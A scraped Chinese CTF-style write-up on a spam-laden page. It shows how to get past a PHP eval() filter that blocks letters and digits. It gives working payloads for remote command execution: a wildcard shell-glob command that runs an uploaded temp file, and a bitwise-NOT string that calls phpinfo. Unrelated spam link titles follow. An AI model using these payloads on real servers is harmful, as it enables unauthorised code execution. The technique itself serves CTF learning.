当前位置: 首页 > news >正文

做网站点击软件大连建设信息

做网站点击软件,大连建设信息,黄骅港口,wordpress menu背景目录 对于php5以上首先要解决的问题有 解决技巧 1.code长度小于35位 2.没有字母、数字、_ 、$ 3.怎么把文件放进服务器 4.怎么执行文件里面的内容 1.执行Linux命令 2.执行文件里面的shell命令 5.构造完整的code参数 6.我们还可以通过修改文件里面shell命令,…

目录

对于php5以上首先要解决的问题有

解决技巧

1.code长度小于35位

2.没有字母、数字、_ 、$

3.怎么把文件放进服务器

4.怎么执行文件里面的内容

        1.执行Linux命令

        2.执行文件里面的shell命令

5.构造完整的code参数

6.我们还可以通过修改文件里面shell命令,执行不同的命令

对于php7可以用取反绕过的技巧( ~ 是取反的意思)


<?php
if(isset($_GET['code'])){$code = $_GET['code'];if(strlen($code)>35){die("Long.");}if(preg_match("/[A-Za-z0-9_$]+/",$code)){die("NO.");}eval($code);
}else{highlight_file(__FILE__);
}

这个代码怎么利用

对于php5以上首先要解决的问题有

1.code长度小于35位

2.没有字母、数字、_ 、$

3.怎么把文件放进服务器

4.怎么执行文件里面的内容

解决技巧

1.code长度小于35位

这个问题和整体思路有关,要和后面的一起考虑

2.没有字母、数字、_ 、$

可以不用字母数字,Linux系统文件名支持通配符方式查找

比如

* 代表任意长度的字符

?代表任意一个长度的字符

[ ] 匹配括号里面的任意一个

这道题我们要找文件,不能用字母,数字等,因为我们要找的文件有个特点是在tmp下,9位,最后一位有几率是大写字母,所以我们可以用通配符和ascii码结合一下,写出payload

/???/????????[@-[] 

因为最后一位是大写,所以可以用@-[ ,因为@到[ 的ASCII码正好刚刚好包含了大写字母

3.怎么把文件放进服务器

写一个文件上传的html页面,作用是用burp工具拿取文件上传的请求标准格式和里面特有的标记

<!DOCTYPE html>
<html lang="zh">
<head>  <meta charset="UTF-8">  <title>文件上传示例</title>  
</head>
<body><form action="upload.php" method="post" enctype="multipart/form-data"><label for="file">选择文件:</label><input type="file" name="file" id="file" required><input type="submit" value="上传"></form>
</body>
</html>

在上传的文件1.txt里面写上#!bin/bash

                                           id          

复制如图的请求标识,备用      

4.怎么执行文件里面的内容

在发送上一步文件上传请求后,Linux会在tmp下生成一个临时文件,我们要运行并执行文件里面的内容

        1.执行Linux命令

                在Linux里面``反引号可以执行命令,所以我们用

                `/???/????????[@-[]`

                来执行查找临时文件的命令,

        2.执行文件里面的shell命令

               在文件路径的前面加上   .  可以执行文件里面的命令

        所以payload是

                `. /???/????????[@-[]`

5.构造完整的code参数

        code=?><?=`. /???/????????[@-[]`;?>

<?是php的开头,为什么前面还要加一个?>呢

因为这个是php官方要求的,目的是为了防止前面的代码进行干扰,就用?>进行闭合,

然后再写我们的php代码。

如图所示,post请求是可以把get请求参数和post请求一起进行传递的

整个过程是,post请求把带有shell命令的临时文件生成,然后get请求传递code值放入eval()里面,

然后执行查找临时文件的命令,找到了临时文件,然后用 . 来执行文件里面的显示当前用户id的命令,最后,用户id信息就会显示在响应包里面

6.我们还可以通过修改文件里面shell命令,执行不同的命令

对于php7还可以用取反绕过的技巧( ~ 是取反的意思)

PHP7允许用($a)();这样的方法来执行动态函数,所以我们可以想到直接(phpinfo)();

但是由于过滤了字母,不能直接写phpinfo,可以进行取反

把phpinfo用php代码进行取反,得到

%8F%97%8F%96%91%99%90

取反绕过了以后再取反一次,就回到了我们的phpinfo

所以可以构造payload为

code=(~%8F%97%8F%96%91%99%90)();

http://www.yayakq.cn/news/10688/

相关文章:

  • 网站架设的结构ftp建网站
  • 成都APP,微网站开发wordpress前端开发
  • 怎么做网站背景图温州做网络推广的公司
  • 伊滨区网站建设网站建设有啥费用
  • 要加强网站内容的建设曼斯特(北京)网站建设公司
  • 给公司做一个网站流程seo是什么意思som
  • 北京长空建设有限公司网站临邑网站制作
  • 西部数码网站备案查询贵州二级站seo整站优化排名
  • 美食网站建设需求分析wordpress做app
  • 做网站工资多少阜阳网站设计
  • 做视频网站要什么软件下载公司介绍信模板
  • 刘强东自己做网站福永网站推广
  • 新浪云计算 网站开发苏州建设网站的网络公司
  • 本地安装网站wordpress 虎嗅
  • 局域网下怎么访问自己做的网站网页模板源代码
  • 清河网站建设公司个人备案网站 论坛
  • 哪些网站做免费送东西的广告6dede 后台 不能保存网站名称
  • wordpress后台左侧菜单seo网站编辑专业
  • 开发手机应用网站广告片宣传片拍摄公司
  • 做网站白云网站建设 平易
  • 怎样做触屏版手机网站WordPress 多用户数据
  • 互联网企业网站设计浏览器推广怎么做
  • 网站建设费用应该入什么科目不要域名做网站
  • 深圳微网站建设知识竞赛网站建设方案策划书
  • 找建设项目的网站前端开发培训机构哪个好
  • 做网站需要学习哪些网站后台模板 html
  • 网站推广工作职责室内设计装修用啥软件
  • 做推广能提高网站权重么品牌推广策划方案案例
  • js做网站框架网站做多久
  • 建设外贸网站公司做盗版小说网站犯法吗